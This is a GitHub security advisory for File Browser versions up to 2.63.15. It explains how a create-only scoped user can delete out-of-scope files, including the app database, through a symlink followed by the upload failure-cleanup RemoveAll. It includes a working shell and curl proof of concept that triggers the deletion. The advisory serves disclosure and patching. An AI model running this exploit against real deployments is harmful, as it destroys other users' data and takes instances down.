Skip to content

File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup

High severity GitHub Reviewed Published Jun 23, 2026 in filebrowser/filebrowser

Package

gomod github.com/filebrowser/filebrowser/v2 (Go)

Affected versions

<= 2.63.15

Patched versions

2.63.16

Description

Summary

A scoped, non-admin File Browser user holding only the Create permission can delete arbitrary files outside their scope (other tenants' data, and the application's own database) via the upload failure-cleanup path. This is an incomplete fix of CVE-2026-54094: the v2.63.14 ScopedFs containment wrapper was applied to read/write/list/rename but NOT to the delete path. Confidentiality is preserved (reads stay blocked); integrity and availability are not.

ScopedFs.RemoveAll is the one dereferencing operation that skips the symlink guard every other method enforces. The direct-upload handler runs RemoveAll on the user-controlled path during failed-upload cleanup, gated only by Perm.Create. If an escaping directory symlink already exists inside the user's scope, an authenticated create-only user can delete an out-of-scope target, bypassing both the ScopedFs boundary and the Perm.Delete gate.

Affected code: https://github.com/filebrowser/filebrowser/blob/be23ab3a15bf957928ecfed88de5ab67850c1b9c/http/resource.go#L172-L174

Details

CVE-2026-54094 was fixed by a ScopedFs afero wrapper whose guard() resolves every path component with filepath.EvalSymlinks and rejects out-of-scope targets. guard() is invoked on read, write, list, rename, stat, etc. The fix is incomplete; two gaps combine:

  1. ScopedFs.Remove and ScopedFs.RemoveAll skip guard() (files/scoped.go:138-144) — they call s.base.Remove/RemoveAll directly, unlike every other method.
  2. resourcePostHandler does not return on a NewFileInfo containment error (http/resource.go:125-180). For an out-of-scope path NewFileInfo fails, but the handler only uses that for the override branch (if err == nil) and falls through to writeFile, which is correctly guard-blocked and errors — triggering the failure-cleanup _ = d.user.Fs.RemoveAll(r.URL.Path) (http/resource.go:173) on the unvalidated path.

Because Go's os.RemoveAll follows a symlinked ancestor, RemoveAll("link/secret.txt") where link -> /srv/victim deletes /srv/victim/secret.txt, outside scope. The HTTP response is 403 (write blocked), masking the deletion.

Of the three handlers calling RemoveAll, only resourcePostHandler is exploitable; resourceDeleteHandler (:114) and tusDeleteHandler (:264) return the NewFileInfo error first (shadowed, confirmed by negative controls). If the target is a directory, RemoveAll recursively removes out-of-scope contents.

Precondition

An escaping directory symlink must already exist inside the user's scope. File Browser exposes no symlink-creation API, so it is planted out of band (admin, mounted/shared volume, restored backup, extracted archive, another process). This is the same threat model accepted by CVE-2026-54094.

Proof of concept

Root /tmp/fb-root, a Create-only non-admin user scoped to /scope with Perm.Create=true (and Perm.Delete=false — the bug must not need it), and a pre-existing symlink /tmp/fb-root/scope/link -> /tmp/fb-out:

# 0. Layout: server root + an out-of-scope dir holding the victim file
mkdir -p /tmp/fb-root /tmp/fb-out
echo keep > /tmp/fb-out/victim.txt

# 1. Init DB and pin the server root
filebrowser -d /tmp/fb.db config init
filebrowser -d /tmp/fb.db config set --root /tmp/fb-root

# 2. Create a CREATE-ONLY, non-admin user scoped to /scope. perm.delete=false is the point: the bug must not need it
filebrowser -d /tmp/fb.db users add victim hunter2 \
  --scope=/scope \
  --perm.admin=false --perm.create=true \
  --perm.modify=false --perm.delete=false \
  --perm.rename=false --perm.share=false --perm.execute=false

# 3. Plant an escaping directory symlink inside the user's scope. Out-of-band, per the threat model
#    (admin, mounted/shared volume, restored backup, another process). No FileBrowser API creates this.
ln -s /tmp/fb-out /tmp/fb-root/scope/link

# 4. Start the server
filebrowser -d /tmp/fb.db -a 127.0.0.1 -p 8080

# 5. Log in; the JWT is returned as the raw response body
JWT=$(curl -s -X POST http://127.0.0.1:8080/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"victim","password":"hunter2"}')

# 6. Trigger: POST to a child of the symlink. The guarded write (MkdirAll/OpenFile) fails with 403,
#    and failed-upload cleanup then runs the UNguarded RemoveAll("/link/victim.txt").
curl -i -X POST -H "X-Auth: $JWT" --data 'x' \
  'http://127.0.0.1:8080/api/resources/link/victim.txt'

# 7. Impact check
test ! -e /tmp/fb-out/victim.txt && echo "IMPACT: out-of-scope victim.txt DELETED"

Minimal HTTP summary (Create-only user carol, scope /attacker, pre-existing symlink /attacker/link -> /srv/victim, file /srv/victim/secret.txt):

GET  /api/raw/link/secret.txt        -> 403 (read containment still holds — the v2.63.14 fix)
POST /api/resources/link/secret.txt  -> 403 (write blocked)
   => /srv/victim/secret.txt is DELETED (unguarded cleanup RemoveAll followed the symlinked ancestor)

Verified blast radius (per-case HTTP + on-disk before/after captured): create-only no-override deletion; cross-tenant deletion; full-instance DoS (delete the database dir → all users/shares/config gone, admin login fails); negative controls on the DELETE sinks (403, file survives).

Impact

A per-tenant / per-share scoped user with only Create can destroy any file the File Browser process can reach via a symlink lexically inside their scope: other tenants' data or the application database (instance DoS). A create-only user deletes out-of-scope files reachable through an escaping symlinked directory, bypassing the ScopedFs boundary and the Perm.Delete gate. If the target is a directory, RemoveAll recursively removes out-of-scope contents. Precondition: a symlink present in the user's scope — identical to the parent CVE-2026-54094, which the project treated as in-scope, and which arises naturally via mounted volumes, restored backups, or extracted archives.

Suggested fix

  1. Add guard() to ScopedFs.Remove and ScopedFs.RemoveAll (files/scoped.go), mirroring the other methods (closes the class for all callers).
  2. Defense-in-depth: in resourcePostHandler, return early when NewFileInfo returns a non-not-exist error (do not fall through to writeFile/cleanup on a path that failed containment).

References

  • Incomplete fix of CVE-2026-54094 / GHSA-239w-m3h6-ch8v.
  • Affected code: files/scoped.go (ScopedFs.Remove, ScopedFs.RemoveAll), reached from http/resource.go (resourcePostHandler failure-cleanup, line 173).
  • Confirmed unpatched at HEAD be23ab3 (v2.63.15); no open issue/PR addresses the Remove/RemoveAll gap.

References

@hacdias hacdias published to filebrowser/filebrowser Jun 23, 2026
Published by the National Vulnerability Database Jun 25, 2026
Published to the GitHub Advisory Database Jul 20, 2026
Reviewed Jul 20, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
None
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(40th percentile)

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Improper Link Resolution Before File Access ('Link Following')

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. Learn more on MITRE.

CVE ID

CVE-2026-55667

GHSA ID

GHSA-fmm7-x4gx-8jhr

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.